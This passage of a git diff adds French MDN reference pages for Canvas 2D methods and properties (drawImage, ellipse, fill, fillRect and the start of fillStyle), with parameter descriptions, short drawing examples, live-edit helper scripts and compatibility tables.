+ <dd>La coordonnée <code>x</code> dans le canvas de destination où placer le coin supérieur gauche de l'<code>image</code> source.</dd>
+ <dt><code>dy</code></dt>
+ <dd>La coordonnée <code>y</code> dans le canvas de destination où placer le coin supérieur gauche de l'<code>image</code> source.</dd>
+ <dt><code>dLargeur</code></dt>
+ <dd>La largeur de l'<code>image</code> dessinée dans le contexte de la balise canvas. Cela permet d'ajuster la taille de l'image. Si cet argument n'est pas spécifié, l'image prendra sa largeur normale.</dd>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">dHauteur</font></dt>
+ <dd>La hauteur de l'<code>image</code> dessinée dans le contexte de la balise canvas. Cela permet d'ajuster la taille de l'image. Si cet argument n'est pas spécifié, l'image prendra sa hauteur normale.</dd>
+ <dt><code>sx</code></dt>
+ <dd>La coordonnée <code>x</code> du bord en haut à gauche de la partie de l'<code>image</code> source à dessiner dans le contexte du canvas.</dd>
+ <dt><code>sy</code></dt>
+ <dd>La coordonnée <code>y</code> du bord en haut à gauche de la partie de l'<code>image</code> source à dessiner dans le contexte du canvas.</dd>
+ <dt><code>sLargeur</code></dt>
+ <dd>La largeur de la partie de l'image source à dessiner dans le contexte. Si ce n'est pas spécifié, cet argument prend la valeur de la largeur de l'image moins <code>sx</code>, autrement dit l'image dessinée dans le contexte sera la partie de l'image d'origine à partir du point s de coordonnées (<code>sx</code> ; <code>sy</code>) et jusqu'au bord en bas à droite.</dd>
+ <dt><code>sHauteur</code></dt>
+ <dd>La hauteur de la partie de l'image source à dessiner dans le contexte. De la même manière que pour sLargeur, si aucune valeur n'est donnée cet argument prendra la valeur de la hauteur de l'image moins <code>sy</code>.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>INDEX_SIZE_ERR</code></dt>
+ <dd>Si la balise canvas ou la largeur ou hauteur du rectangle source vaut zero ou moins.</dd>
+ <dt><code>INVALID_STATE_ERR</code></dt>
+ <dd>L'image reçue n'en est pas une.</dd>
+ <dt><code>TYPE_MISMATCH_ERR</code></dt>
+ <dd>L'image reçue n'est pas supportée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_drawImage">Utiliser la méthode <code>drawImage</code></h3>
+
+<p>Ceci est un extrait de code utilisant la méthode <code>drawImage</code> :</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+&lt;div style="display:none;"&gt;
+  &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg"
+       width="300" height="227"&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var image = document.getElementById("source");
+
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);
+</pre>
+
+<p>Éditez le code suivant pour voir les changements en direct dans la balise canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div style="display:none;"&gt;
+  &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227"&gt;
+&lt;/div&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var image = document.getElementById('source');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-drawimage", "CanvasRenderingContext2D.drawImage")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>format ImageBitmap</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>format ImageBitmap</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notes_concernant_la_compatibilité">Notes concernant la compatibilité</h2>
+
+<ul>
+ <li>Un support pour l'inversion de l'image pour les valeurs négatives pour <code>sLargeur</code> et <code>sHauteur</code> a été ajouté à Gecko 5.0 {{geckoRelease("5.0")}}.</li>
+ <li>A partir de {{geckoRelease("5.0")}} <code>drawImage()</code> gère les arguments négatifs, conformément à la spécification, en inversant ces valeurs par rapport aux axes.</li>
+ <li>Spécifier une image <code>null</code> ou <code>undefined</code> en appellant <code>drawImage()</code> correctement retournera une exception <code>TYPE_MISMATCH_ERR</code> à partir de {{geckoRelease("5.0")}}.</li>
+ <li>Prior to Gecko 7.0 {{ geckoRelease("7.0") }}, Firefox ajoute une exception si une des coordonnées est nulle ou négative. Selon la spécification, cela ne durera pas.</li>
+ <li>Gecko 9.0 {{ geckoRelease("9.0") }} supporte désormais correctement le CORS pour dessiner des images de domaines étrangers sans <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Images_avec_le_contr%C3%B4le_d_acc%C3%A8s_HTTP" title="en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F">corrompre le canvas</a>.</li>
+ <li>Gecko 11.0 {{ geckoRelease("11.0") }} permet désormais de dessiner les images SVG dans le canvas sans <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Images_avec_le_contr%C3%B4le_d_acc%C3%A8s_HTTP" title="en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F">corrompre le canevas</a>.</li>
+</ul>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>drawImage() ne fonctionne correctement avec {{domxref("HTMLVideoElement")}} que si {{domxref("HTMLMediaElement.readyState")}}<strong> est supérieur à 1.</strong> (i.e, Chercher l'événement renvoyé après avoir mis la propriété currentTime)</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface qui la définit, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/ellipse/index.html b/files/fr/web/api/canvasrenderingcontext2d/ellipse/index.html
new file mode 100644
index 0000000000..61d8e1345d
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/ellipse/index.html
@@ -0,0 +1,134 @@
+---
+title: CanvasRenderingContext2D.ellipse()
+slug: Web/API/CanvasRenderingContext2D/ellipse
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Experimental
+  - Méthode
+translation_of: Web/API/CanvasRenderingContext2D/ellipse
+---
+<div>{{APIRef}} {{SeeCompatTable}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.ellipse()</code></strong> de l'API Canvas 2D ajoute une ellipse au trajet, centrée en <em>(x, y),</em> les rayons <em>rayonX</em> et <em>rayonY</em> commençant à <em>angleDeDébut</em> et se terminant à <em>angleDeFin,</em> en allant dans le sens indiqué par <em>antiHoraire</em> (par défaut, horaire).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.ellipse(x, y, rayonX, rayonY, rotation, angleDébut, angleFin, antihoraire);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>La coordonnée sur l'axe des x du centre de l'ellipse.</dd>
+ <dt><code>y</code></dt>
+ <dd>La coordonnée sur l'axe des y du centre de l'ellipse.</dd>
+ <dt><code>rayon</code>X</dt>
+ <dd>Le rayon du grand axe de l'ellipse.</dd>
+ <dt><code>rayon</code>Y</dt>
+ <dd>Le rayon du petit axe de l'ellipse.</dd>
+ <dt><code>rotation</code></dt>
+ <dd>La rotation pour cette ellipse, exprimée en radians.</dd>
+ <dt><code>angleDébut</code></dt>
+ <dd>L'angle de début, mesuré à partir de l'axe des x, à partir duquel elle sera dessinée, exprimé en radians.</dd>
+ <dt><code>angleFin</code></dt>
+ <dd>L'angle de fin de l'ellipse, jusqu'auquel elle sera dessinée, exprimé in radians.</dd>
+ <dt><code>antihoraire</code> {{optional_inline}}</dt>
+ <dd>Un {{jsxref("Boolean")}} optionnel qui, si <code>true</code>, dessine l'ellipse dans le sens antihoraire, sinon dans le sens horaire.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Using_the_ellipse_method" name="Using_the_ellipse_method">Utilisation de la méthode <code>ellipse</code></h3>
+
+<p>Ceci est seulement un fragment de code simple dessinant une ellipse.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+
+ctx.beginPath();
+ctx.ellipse(100, 100, 50, 75, 45 * Math.PI/180, 0, 2 * Math.PI);
+ctx.stroke();
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas (vérifiez le support de votre navigateur dans la table de compatibilité si aucune ellipse n'est tracée) :</p>
+
+<div style="display: none;">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.ellipse(100, 100, 50, 75, 45 * Math.PI/180, 0, 2 * Math.PI);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-ellipse", "CanvasRenderingContext2D.ellipse")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.ellipse")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/fill/index.html b/files/fr/web/api/canvasrenderingcontext2d/fill/index.html
new file mode 100644
index 0000000000..f18e8e0d72
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/fill/index.html
@@ -0,0 +1,203 @@
+---
+title: CanvasRenderingContext2D.fill()
+slug: Web/API/CanvasRenderingContext2D/fill
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+translation_of: Web/API/CanvasRenderingContext2D/fill
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fill()</code></strong> de l'API Canvas 2D remplit le chemin courant ou donné avec la couleur de fond en cours, en utilisant la règle de remplissage extérieur/intérieur non nul ou la règle de remplissage pair/impair.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.fill([fillRule]);</var>
+void <var><em>ctx</em>.fill(path[, fillRule]);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>fillRule</code></dt>
+ <dd>L'algorithme utilisé pour déterminer si un point est à l'intérieur ou à l'extérieur du chemin.<br>
+ Valeurs possible:
+ <ul>
+  <li><code><strong>"nonzero</strong></code>": La <a href="http://en.wikipedia.org/wiki/Nonzero-rule">règle de remplissage extérieur/intérieur non nul</a>, qui est la règle par défaut.</li>
+  <li><code><strong>"evenodd"</strong></code>: La <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">règle de remplissage pair/impair</a>.</li>
+ </ul>
+ </dd>
+ <dt><code>path</code></dt>
+ <dd>Un chemin {{domxref("Path2D")}} à remplir.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_fill">Utiliser la méthode <code>fill</code></h3>
+
+<p>Ceci est un simple snippet de code qui utilise la méthode <code>fill</code> pour remplir un chemin.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+</pre>
+
+<p>Éditez le code ci-dessous pour voir vos changements apportés au canvas en direct:</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rect(10, 10, 100, 100);
+ctx.fill();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Utiliser_l'option_fillRule">Utiliser l'option <code>fillRule</code></h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt; </pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(96.50,50.00);
+ctx.bezierCurveTo(96.50,62.84,0.22,99.82,50.74,47.17);
+ctx.bezierCurveTo(100.18,0.58,62.84,96.50,50.00,96.50);
+ctx.bezierCurveTo(24.32,96.50,3.50,75.68,3.50,50.00);
+ctx.bezierCurveTo(3.50,24.32,24.32,3.50,50.00,3.50);
+ctx.bezierCurveTo(75.68,3.50,96.50,24.32,96.50,50.00);
+ctx.closePath();
+
+ctx.fillStyle = "lightblue";
+ctx.lineWidth = 2;
+ctx.fill("nonzero");
+ctx.stroke();</pre>
+
+<p>Éditez le code ci-dessous pour voir vos changements apportés au canvas en direct:</p>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.moveTo(96.50,50.00);
+ctx.bezierCurveTo(96.50,62.84,0.22,99.82,50.74,47.17);
+ctx.bezierCurveTo(100.18,0.58,62.84,96.50,50.00,96.50);
+ctx.bezierCurveTo(24.32,96.50,3.50,75.68,3.50,50.00);
+ctx.bezierCurveTo(3.50,24.32,24.32,3.50,50.00,3.50);
+ctx.bezierCurveTo(75.68,3.50,96.50,24.32,96.50,50.00);
+ctx.closePath();
+
+ctx.fillStyle = "lightblue";
+ctx.lineWidth = 2;
+ctx.fill("nonzero");
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('Playable_code_2', 700, 360)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fill", "CanvasRenderingContext2D.fill")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.fill")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface qui définit cette méthode, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/fillrect/index.html b/files/fr/web/api/canvasrenderingcontext2d/fillrect/index.html
new file mode 100644
index 0000000000..2a5e36e2cb
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/fillrect/index.html
@@ -0,0 +1,128 @@
+---
+title: CanvasRenderingContext2D.fillRect()
+slug: Web/API/CanvasRenderingContext2D/fillRect
+tags:
+  - API
+  - Canvas
+  - CanvasRendering2D
+  - Méthode
+translation_of: Web/API/CanvasRenderingContext2D/fillRect
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillRect()</code></strong> de l'API 2D des Canvas dessine un rectangle plein aux coordonnées <em>(x, y)</em>, aux dimensions déterminées par <em>largeur</em> et <em>hauteur</em> et au style déterminé par l'attribut <code>fillStyle</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.fillRect(x, y, largeur, hauteur);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>L'ordonnée <em>x</em> des coordonnées du point de départ du rectangle.</dd>
+ <dt><code>y</code></dt>
+ <dd>L'abscisse <em>y</em> des coordonnées du point de départ du rectangle.</dd>
+ <dt><code><font face="Consolas, Liberation Mono, Courier, monospace">largeur</font></code></dt>
+ <dd>La largeur du rectangle.</dd>
+ <dt><code>hauteur</code></dt>
+ <dd>La hauteur de rectangle.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_fillRect">Utilisation de la méthode <code>fillRect</code></h3>
+
+<p>Ceci est juste un extrait de code qui utilise la méthode <code>fillRect</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+
+// remplir la balise entièrement
+// ctx.fillRect(0, 0, canvas.width, canvas.height);
+</pre>
+
+<p>Éditez le code suivant pour voir les changements en direct dans la balise canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillrect", "CanvasRenderingContext2D.fillRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.fillRect")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface qui le définit, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillStyle")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.clearRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/fillstyle/index.html b/files/fr/web/api/canvasrenderingcontext2d/fillstyle/index.html
new file mode 100644
index 0000000000..3fab6ac65c
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/fillstyle/index.html
@@ -0,0 +1,163 @@
+---
+title: CanvasRenderingContext2D.fillStyle
+slug: Web/API/CanvasRenderingContext2D/fillStyle
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Propriété
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/fillStyle
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillStyle</code></strong> de l'API Canvas 2D spécifie la couleur ou style à utiliser à l'intérieur des formes. La valeur par défaut est <code>#000</code> (black).</p>
+
+<p>Voir également le chapitre <a href="/fr/docs/Tutoriel_canvas/Ajout_de_styles_et_de_couleurs">Ajout de styles et de couleurs</a> dans le <a href="/fr/docs/Tutoriel_canvas">Tutoriel canvas</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.fillStyle = color;
+</var><var><em>ctx</em>.fillStyle = gradient;
+</var><var><em>ctx</em>.fillStyle = pattern;</var>
+</pre>
+
+<h3 id="Options">Options</h3>
+
+<dl>
+ <dt><code>color</code></dt>
+ <dd>Une {{domxref("DOMString")}} analysée comme valeur CSS {{cssxref("&lt;color&gt;")}}.</dd>
+ <dt><code>gradient</code></dt>
+ <dd>Un objet {{domxref("CanvasGradient")}} (un gradient linéaire ou radial).</dd>
+ <dt><code>pattern</code></dt>
+ <dd>Un objet {{domxref("CanvasPattern")}} (une image répétée).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Using_the_fillStyle_property" name="Using_the_fillStyle_property">Utiliser la propriété <code>fillStyle</code> pour définir une couleur différente</h3>
+
+<p>Ceci est un simple snippet de code utilisant la propriété <code>fillStyle</code> pour définir une couleur différente.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'blue';
+ctx.fillRect(10, 10, 100, 100);
+</pre>
+
+<p>Éditez le code ci-dessous pour voir vos changements mettre à jour le canvas directement:</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = 'blue';
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
